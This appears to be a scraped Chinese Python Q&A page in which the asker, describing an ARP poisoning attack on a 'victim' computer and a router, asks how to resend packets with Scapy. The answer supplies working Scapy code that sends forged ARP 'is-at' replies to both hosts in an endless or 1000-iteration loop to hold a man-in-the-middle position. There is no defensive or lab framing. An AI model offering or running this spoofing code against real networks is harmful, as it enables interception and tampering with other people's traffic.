Python2.7 Scapy将数据包重传到目的地

2024-05-20 20:20:53 发布

您现在位置:Python中文网/ 问答频道 /正文

做一个arp中毒,我正在连接1-路由器和2-受害者计算机。如何将数据包重新传输到目的地?(最好是和斯卡比一起) 我有这个:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

Tags: ipsendismac路由器atrouterarp
1条回答
网友
1楼 · 发布于 2024-05-20 20:20:53

回顾Scapy's API documentation提出以下备选方案:

  1. send函数接受2个额外的参数,这些参数可能被证明是有用的:

    loop: send the packets endlessly if not 0.
    inter: time in seconds to wait between 2 packets.

    因此,执行以下语句将以无休止的循环发送数据包:

    send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
          ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
         inter=1, loop=1)
    
  2. sr函数接受3个可以证明有用的参数:

    retry: if positive, how many times to resend unanswered packets. if negative, how many consecutive unanswered probes before giving up. Only the negative value is really useful.
    timeout: how much time to wait after the last packet has been sent. By default, sr will wait forever and the user will have to interrupt (Ctrl-C) it when he expects no more answers.
    inter: time in seconds to wait between each packet sent.

    由于对于发送的ARP包,预期不会接收到任何应答,因此使用所需值指定这些参数可以在有限循环中发送包,而上一个替代方案强制执行无休止的循环。在

    不利的一面是,由于资源被分配给数据包接收和处理,所以这种效率可能有点低,但这可以忽略不计。在

    因此,执行以下语句将在1000次迭代的有限循环中发送数据包:

    sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
        ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
       retry=999, inter=1, timeout=1)
    

相关问题 更多 >